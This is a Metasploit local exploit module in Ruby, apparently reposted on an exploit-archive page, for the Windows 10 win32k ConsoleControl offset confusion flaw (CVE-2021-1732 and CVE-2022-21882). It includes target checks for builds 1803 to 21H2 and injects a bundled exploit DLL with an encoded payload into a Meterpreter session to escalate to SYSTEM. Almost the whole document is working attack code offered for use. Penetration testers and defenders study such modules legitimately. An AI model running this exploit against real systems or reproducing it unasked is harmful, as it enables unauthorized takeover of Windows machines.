<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = AverageRanking<br /><br /> include Msf::Post::File<br /> include Msf::Post::Windows::Priv<br /> include Msf::Post::Windows::Process<br /> include Msf::Post::Windows::ReflectiveDLLInjection<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> include Msf::Exploit::Deprecated<br /> moved_from 'exploit/windows/local/cve_2021_1732_win32k'<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> {<br /> 'Name' => 'Win32k ConsoleControl Offset Confusion',<br /> 'Description' => %q{<br /> A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of<br /> NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being<br /> treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to<br /> achieve an out of bounds write operation, eventually leading to privilege escalation.<br /><br /> This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.<br /> In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is<br /> is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to<br /> function on a wider range of Windows 10 targets.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> # CVE-2021-1732<br /> 'BITTER APT', # exploit as used in the wild<br /> 'JinQuan', # detailed analysis<br /> 'MaDongZe', # detailed analysis<br /> 'TuXiaoYi', # detailed analysis<br /> 'LiHao', # detailed analysis<br /> # CVE-2022-21882<br /> 'L4ys', # github poc<br /> # both CVEs<br /> 'KaLendsi', # github pocs<br /> # Metasploit exploit<br /> 'Spencer McIntyre' # metasploit module<br /> ],<br /> 'Arch' => [ ARCH_X64 ],<br /> 'Platform' => 'win',<br /> 'SessionTypes' => [ 'meterpreter' ],<br /> 'DefaultOptions' => {<br /> 'EXITFUNC' => 'thread'<br /> },<br /> 'Targets' => [<br /> [ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ]<br /> ],<br /> 'Payload' => {<br /> 'DisableNops' => true<br /> },<br /> 'References' => [<br /> # CVE-2021-1732 references<br /> [ 'CVE', '2021-1732' ],<br /> [ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],<br /> [ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],<br /> [ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],<br /> [ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],<br /> # the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit<br /> [ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],<br /> [ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],<br /> [ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],<br /> [ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ],<br /> # CVE-2022-21882 references<br /> [ 'CVE', '2022-21882' ],<br /> [ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ],<br /> [ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ]<br /> ],<br /> 'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_OS_RESTARTS, ],<br /> 'Reliability' => [ REPEATABLE_SESSION, ],<br /> 'SideEffects' => []<br /> }<br /> }<br /> )<br /> )<br /> end<br /><br /> def check<br /> sysinfo_value = sysinfo['OS']<br /><br /> if sysinfo_value !~ /windows/i<br /> # Non-Windows systems are definitely not affected.<br /> return Exploit::CheckCode::Safe<br /> end<br /><br /> build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i<br /> vprint_status("Windows Build Number = #{build_num}")<br /><br /> unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044)<br /> print_error('The exploit only supports Windows 10 versions 1803 - 21H2')<br /> return CheckCode::Safe<br /> end<br /><br /> CheckCode::Appears<br /> end<br /><br /> def exploit<br /> if is_system?<br /> fail_with(Failure::None, 'Session is already elevated')<br /> end<br /><br /> if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86<br /> fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')<br /> elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86<br /> fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')<br /> elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64<br /> fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')<br /> end<br /><br /> encoded_payload = payload.encoded<br /> execute_dll(<br /> ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'),<br /> [encoded_payload.length].pack('I<') + encoded_payload<br /> )<br /><br /> print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')<br /> end<br />end<br /></code></pre>
Archives
Categories
- All Exploits 4095
- Remote Code Execution
- SQL Injection
- Command Injection
- Local File Inclusion
- Cross Site Scripting
- Privilege Escalation
- Denial Of Service
- Authentication Bypass
- Buffer Overflow